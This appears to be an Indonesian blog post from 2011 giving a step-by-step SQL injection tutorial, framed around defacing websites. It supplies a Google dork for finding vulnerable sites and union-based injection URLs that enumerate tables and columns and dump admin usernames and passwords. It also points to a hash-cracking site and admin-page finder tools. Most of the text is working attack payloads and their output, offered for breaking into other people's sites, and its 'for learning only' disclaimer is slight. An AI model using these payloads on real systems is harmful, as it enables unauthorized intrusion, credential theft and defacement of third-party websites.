Sabtu, 04 Juni 2011

Tutorial SQL Injection Step by Step [ Dummies ]

Sebelum men daface sebuah situs, kita bisa menggunakan "dork Sql Injection" dengan bantuan om kita semua ( om google )
Code:

inurl:"product.php?id=" & intext:"You have an error in your SQL syntax"

trus yg saya dapat :

untuk mengecek bug pada suatu web tambahkan single quote ( ' ) dibelakang url
Code:
http://www.victim.com/detailproduct.php?id=75'


ternyata ada bug-nya, muncul pesan error :
Code:

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1


Untuk mencari column gunakan perintah [ order by ]
Code:
http://www.victim.com/detailproduct.php?id=75 order by 1--

dimulai dengan angka 1, selanjutnya 2, dst sampai muncul pesan error

pada target kita kali ini, error muncul pada angka 19
Code:
http://www.victim.com/detailproduct.php?id=75 order by 19--

muncul pesan error:
Unknown column '19' in 'order clause'

jadi angka yang diambil adalah 19-1 = 18 (jumlah column adalah 18)

Selanjutnya kita akan mencari "angka ajaib" dimana kita bisa melakukan injection dengan perintah "union all select"
Code:
http://www.victim.com/detailproduct.php?id=-75 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--

Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter ID 75

akan muncul "angka ajaib" : 3, 11 dan 18
kita pilih salah satunya saja, misal 3

trus kita cari versi Database MySql-nya dengan perintah [version()] atau [@@version] pada angka 3
Code:
http://www.victim.com/detailproduct.php?id=-75 union all select
1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--


muncul tulisan :
5.0.90-community
wewww...ternyata versi 5, klo versi 4 sy angkat tangan.....wkwkwkwk :p
nb : lebih mudah versi 5, karena sebentar kita akan mencari informasi table dan column dari information_schema,
dimana information_schema tidak terdapat pada database MySql versi 4. Jadi kalau targetnya mempunyai database MySQL versi 4,
yang kita lakukan yaitu menebak-nebak tablenya... lol

Selanjutnya kita akan mencari table-nya dgn perintah "group_concat(table_name)" pada salah satu angka ajaib
dan "+from+information_schema.tables+where+table_schema=database()--" di belakang angka 18
Code:
http://www.victim.com/detailproduct.php?id=-75 union all select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where table_schema=database()--


akan muncul nama-nama table :
Code:
login,tbanner,tcatprod,tproduct,tset


Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password,
kali ini kita ambil table "login"
sebelumnya kita convert dulu ke hexa agar dapat dibaca oleh Sql di sini :
http://cyber4rt.com/~converter
ketik : login
pilih ASCII to Hex
hasilnya : 6c6f67696e

Perintah selanjutnya adalah "group_concat(column_name)" pada angka ajaib 3 dan "+from+information_schema.columns+where+table_name=0xHEXA--" di akhir URL

ganti HEXA dengan hasil convert tadi yaitu : 6c6f67696e
tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvert
ke hexa
Code:
http://www.victim.com/detailproduct.php?id=-75 union all select
1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+info
rmation_schema.columns+where+table_name=0x6c6f67696e--


muncul column : user,pass

untuk melihat isi dari kedua column tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka ajaib 3 dan +from+NAMATABLE-- pada akhir URL

ganti column 1 dengan "user" dan column2 dengan "pass"
0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa
NAMA TABLE diganti dengan "login" untuk mengambil informasi dari table yang bernama "login"
Code:
http://www.victim.com/detailproduct.php?id=-75 union all select
1,2,group_concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+login--


hasil : admin:admin
jadi,
user = admin
password = admin
nb : Jika ada yang mendapatkan password yang berupa MD5 seperti "21232f297a57a5a743894a0e4a801fc3" atau yang lainnya, silahkan anda hash di sini http://hashchecker.de/find.html

Selesai ??? belum....wkwkwkwk :p
Langkah selanjutnya adalah mencari Admin Page target kita. Anda bisa menggunakan "adminfinder" atau "scanlink.py"
download di mari : http://www.ziddu.com/download/10386415/InstantSQLI.rar.html

Klo ada yg dapat admin pagenya... tolong jangan di deface, ini hanya untuk pembelajaran saja.

Courtesy of "acizninja"

Tidak ada komentar:

Posting Komentar